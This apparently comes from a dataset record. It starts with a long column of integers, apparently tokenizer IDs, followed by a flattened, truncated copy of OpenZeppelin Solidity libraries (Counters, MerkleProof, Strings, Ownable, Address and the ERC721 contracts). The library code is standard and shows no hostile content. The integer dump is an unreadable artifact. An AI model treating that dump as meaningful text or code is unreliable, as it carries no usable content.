17631,
1060,
16,
1203,
18,
5508,
1769,
203,
3639,
289,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
7010,
203,
565,
445,
3953,
23327,
17631,
1060,
12,
2867,
1018,
13,
3903,
3849,
1135,
12,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
389,
1969,
8201,
16,
315,
52,
360,
7797,
16040,
30,
1234,
18,
15330,
1297,
506,
490,
17063,
1585,
9093,
6835,
1199,
1769,
203,
203,
3639,
389,
266,
11162,
1299,
12,
3299,
1769,
203,
203,
3639,
2177,
3778,
729,
273,
389,
1355,
63,
3299,
15533,
203,
3639,
309,
261,
1355,
18,
291,
23327,
17631,
17212,
422,
629,
13,
288,
203,
5411,
261,
16,
11890,
5034,
1267,
16408,
16,
13,
273,
467,
1988,
1224,
24899,
1969,
8201,
2934,
588,
1988,
1224,
12,
3299,
1769,
203,
5411,
309,
14015,
2327,
422,
404,
13,
597,
389,
1355,
63,
3299,
8009,
291,
24369,
13,
288,
203,
7734,
389,
4963,
24369,
9194,
273,
389,
4963,
24369,
9194,
18,
1717,
12,
21,
1769,
203,
5411,
289,
203,
203,
203,
203,
5411,
389,
4963,
13937,
273,
389,
4963,
13937,
18,
1289,
12,
16382,
17631,
1060,
1769,
203,
5411,
729,
18,
291,
23327,
17631,
17212,
273,
638,
31,
203,
5411,
389,
1355,
63,
3299,
65,
273,
729,
31,
203,
203,
5411,
3626,
13725,
23327,
17631,
1060,
12,
3576,
18,
15330,
16,
1018,
16,
17014,
17631,
1060,
16,
1203,
18,
5508,
1769,
203,
3639,
289,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
7010,
203,
565,
445,
3953,
23327,
17631,
1060,
12,
2867,
1018,
13,
3903,
3849,
1135,
12,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
389,
1969,
8201,
16,
315,
52,
360,
7797,
16040,
30,
1234,
18,
15330,
1297,
506,
490,
17063,
1585,
2
] |
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
